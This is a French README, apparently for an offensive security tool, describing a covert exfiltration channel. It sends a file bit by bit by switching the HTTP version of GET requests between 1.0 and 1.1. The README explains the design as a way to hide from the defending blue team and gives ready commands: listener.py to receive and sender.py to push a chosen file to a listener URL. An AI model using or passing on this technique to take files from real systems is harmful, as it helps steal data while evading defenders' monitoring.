
Exfiltrer des fichiers en utilisant la version du protocole HTTP ("HTTP/1.0" est un 0 et "HTTP/1.1" est un 1)
Utilise la version du protocole HTTP pour envoyer un fichier bit par bit ("HTTP/1.0" est un 0 et "HTTP/1.1" est un 1). Il utilise des requêtes GET, donc l'équipe bleue ne verrait que les requêtes vers votre adresse IP. Cependant, cela prend beaucoup de temps pour envoyer des fichiers plus gros, par exemple il faut 1 heure pour envoyer 200 Ko, et le nombre de requêtes serait très élevé (8 fois le nombre d'octets du fichier).

Pour exécuter l'écouteur, utilisez listener.py avec un argument optionnel : le port sur lequel il écoutera.
python3 listener.py [PORT]
Exemple :
python3 listener.py 8080
Pour envoyer un fichier, utilisez sender.py avec deux arguments obligatoires : le chemin du fichier et l'URL de l'écouteur ; et un argument optionnel : le nom du fichier créé à distance (s'il n'est pas utilisé, le nom du fichier d'entrée est conservé).
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Exemple :
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt
D'abord, le fichier est envoyé :

Si la variable debug est définie sur True (c'est le cas par défaut), vous pouvez voir les valeurs binaires dans les messages de journal de l'écouteur :

Le nouveau fichier est créé avec le contenu du fichier d'entrée :

Je pense (je n'en suis pas sûr) avoir lu quelqu'un sur Twitter qui prétendait avoir utilisé cela pour exfiltrer des données et j'ai aimé l'idée. Si vous êtes cette personne, faites-le moi savoir.